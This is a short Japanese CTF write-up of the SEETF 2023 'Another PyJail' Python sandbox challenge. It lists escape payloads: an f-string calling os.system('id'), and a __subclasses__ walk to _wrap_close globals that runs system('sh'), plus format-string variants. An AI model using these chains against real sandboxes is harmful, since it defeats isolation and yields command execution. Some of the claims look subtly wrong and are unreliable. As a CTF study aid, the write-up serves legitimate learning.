SEETF 2023 - Another PyJail
Challenge
Python 3.7 環境で、限られた機能のみ使用可能。
# Python 3.7code = input()
# 多くの組み込み関数が削除された環境restricted_builtins = { 'print': print, 'str': str, 'int': int,}
exec(code, {'__builtins__': restricted_builtins})Solution
f-string による式評価
f-string 内で式を評価:
f"{__import__('os').system('id')}"co_consts からの情報抽出
code オブジェクトの定数を取得:
(lambda: 0).__code__.co_consts# (None, 0)Bootstrap ペイロード
# str から __class__ を取得''.__class__.__mro__[1].__subclasses__()完全な攻撃チェーン
# _wrap_close を探す[c for c in ''.__class__.__mro__[1].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('sh')Technical Details
Python 3.7 の特徴
- f-string は Python 3.6 で導入
- walrus 演算子 (
:=) はまだない (3.8+) - positional-only parameters はない (3.8+)
code オブジェクトの属性
code = (lambda x: x + 1).__code__
code.co_consts # 定数 (None, 1)code.co_names # 名前 ()code.co_varnames # 変数名 ('x',)code.co_code # バイトコードcode.co_filename # ファイル名Alternative Solutions
別解1: format 関数の悪用
'{0.__class__}'.format('')別解2: str のメソッド
str.__subclasses__() # 直接的なサブクラス取得Flag
SEE{...}
References
- SEETF 2023 Official
- PEP 498 (f-strings)